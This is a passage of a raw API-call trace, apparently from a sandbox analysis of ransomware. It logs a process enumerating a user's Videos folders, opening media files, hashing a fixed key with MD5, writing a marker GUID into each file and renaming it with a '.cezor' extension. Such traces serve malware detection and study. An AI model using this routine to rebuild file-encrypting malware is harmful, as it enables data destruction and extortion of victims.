| out: hHeap=0x670000) returned 1 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.177] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.177] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0062.178] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.178] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\") returned="aqq4ZugPM-uIfNTNxref\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.179] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.179] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.179] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.179] PathFindFileNameW (pszPath="") returned="" [0062.179] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b23400, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0xe097b40, ftLastAccessTime.dwHighDateTime=0x1d4c9ab, ftLastWriteTime.dwLowDateTime=0xe097b40, ftLastWriteTime.dwHighDateTime=0x1d4c9ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.179] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b23400, ftCreationTime.dwHighDateTime=0x1d4d3f7, ftLastAccessTime.dwLowDateTime=0xe097b40, ftLastAccessTime.dwHighDateTime=0x1d4c9ab, ftLastWriteTime.dwLowDateTime=0xe097b40, ftLastWriteTime.dwHighDateTime=0x1d4c9ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.179] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb390fe80, ftCreationTime.dwHighDateTime=0x1d4cdac, ftLastAccessTime.dwLowDateTime=0xa3f5cd60, ftLastAccessTime.dwHighDateTime=0x1d4c73b, ftLastWriteTime.dwLowDateTime=0xa3f5cd60, ftLastWriteTime.dwHighDateTime=0x1d4c73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3YQcDZAJgPao0vK26HVe", cAlternateFileName="3YQCDZ~1")) returned 1 [0062.179] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b3bc40, ftCreationTime.dwHighDateTime=0x1d4cb4b, ftLastAccessTime.dwLowDateTime=0xec9a1ef0, ftLastAccessTime.dwHighDateTime=0x1d4c64a, ftLastWriteTime.dwLowDateTime=0xec9a1ef0, ftLastWriteTime.dwHighDateTime=0x1d4c64a, nFileSizeHigh=0x0, nFileSizeLow=0x8706, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kpmxx2VVkoY4H0fX.mp4", cAlternateFileName="KPMXX2~1.MP4")) returned 1 [0062.180] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\Kpmxx2VVkoY4H0fX.mp4") returned=".mp4" [0062.180] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\Kpmxx2VVkoY4H0fX.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\kpmxx2vvkoy4h0fx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.180] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=34566) returned 1 [0062.180] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.182] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x86e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.182] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.183] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8706, lpOverlapped=0x0) returned 1 [0062.183] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.183] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.183] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.183] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.184] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.184] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.184] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.184] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.184] GetLastError () returned 0x0 [0062.184] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.184] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.185] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8706, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.185] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.185] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.185] CloseHandle (hObject=0x5c4) returned 1 [0062.186] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\Kpmxx2VVkoY4H0fX.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\kpmxx2vvkoy4h0fx.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\aqq4ZugPM-uIfNTNxref\\Kpmxx2VVkoY4H0fX.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\aqq4zugpm-uifntnxref\\kpmxx2vvkoy4h0fx.mp4.cezor")) returned 1 [0062.187] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe759f820, ftCreationTime.dwHighDateTime=0x1d4cbd6, ftLastAccessTime.dwLowDateTime=0x6d758a20, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x6d758a20, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oADBIR", cAlternateFileName="")) returned 1 [0062.187] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe759f820, ftCreationTime.dwHighDateTime=0x1d4cbd6, ftLastAccessTime.dwLowDateTime=0x6d758a20, ftLastAccessTime.dwHighDateTime=0x1d4c62b, ftLastWriteTime.dwLowDateTime=0x6d758a20, ftLastWriteTime.dwHighDateTime=0x1d4c62b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oADBIR", cAlternateFileName="")) returned 0 [0062.188] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.188] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.188] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\") returned="VehoR9xPCLy8\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\") returned="VuM2\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\") returned="2odT1K\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.188] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0062.188] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.188] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.189] PathFindFileNameW (pszPath="") returned="" [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65834d70, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x8b2d87d0, ftLastAccessTime.dwHighDateTime=0x1d4cb0c, ftLastWriteTime.dwLowDateTime=0x8b2d87d0, ftLastWriteTime.dwHighDateTime=0x1d4cb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x65834d70, ftCreationTime.dwHighDateTime=0x1d4d490, ftLastAccessTime.dwLowDateTime=0x8b2d87d0, ftLastAccessTime.dwHighDateTime=0x1d4cb0c, ftLastWriteTime.dwLowDateTime=0x8b2d87d0, ftLastWriteTime.dwHighDateTime=0x1d4cb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bb79900, ftCreationTime.dwHighDateTime=0x1d4c81e, ftLastAccessTime.dwLowDateTime=0x2b94ea40, ftLastAccessTime.dwHighDateTime=0x1d4c7b3, ftLastWriteTime.dwLowDateTime=0x2b94ea40, ftLastWriteTime.dwHighDateTime=0x1d4c7b3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0KK-LJo0NlWa", cAlternateFileName="0KK-LJ~1")) returned 1 [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febe70 [0062.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0062.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.189] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f6156a0, ftCreationTime.dwHighDateTime=0x1d4c997, ftLastAccessTime.dwLowDateTime=0xd40f2ae0, ftLastAccessTime.dwHighDateTime=0x1d4caa7, ftLastWriteTime.dwLowDateTime=0xd40f2ae0, ftLastWriteTime.dwHighDateTime=0x1d4caa7, nFileSizeHigh=0x0, nFileSizeLow=0xc3f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5rGtE2ND.flv", cAlternateFileName="")) returned 1 [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0062.189] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0062.189] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0062.189] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\5rGtE2ND.flv") returned=".flv" [0062.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\5rGtE2ND.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\5rgte2nd.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.189] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=50162) returned 1 [0062.189] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.192] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc3cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.192] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0062.193] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0062.193] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.193] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xc3f2, lpOverlapped=0x0) returned 1 [0062.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.193] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.193] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.193] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.194] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.194] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.194] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.194] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.194] GetLastError () returned 0x0 [0062.194] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.194] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.194] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc3f0) returned 0x3132418 [0062.194] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.194] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.194] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xc3ed, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xc3ed, lpOverlapped=0x0) returned 1 [0062.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.195] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc3f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.195] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.195] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.195] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.195] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.195] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.195] CloseHandle (hObject=0x5c4) returned 1 [0062.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.196] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0062.196] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.196] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\5rGtE2ND.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\5rgte2nd.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\VehoR9xPCLy8\\5rGtE2ND.flv.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\vehor9xpcly8\\5rgte2nd.flv.cezor")) returned 1 [0062.197] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.197] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0062.198] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c880e90, ftCreationTime.dwHighDateTime=0x1d4d3c1, ftLastAccessTime.dwLowDateTime=0xc7993f30, ftLastAccessTime.dwHighDateTime=0x1d4ca84, ftLastWriteTime.dwLowDateTime=0xc7993f30, 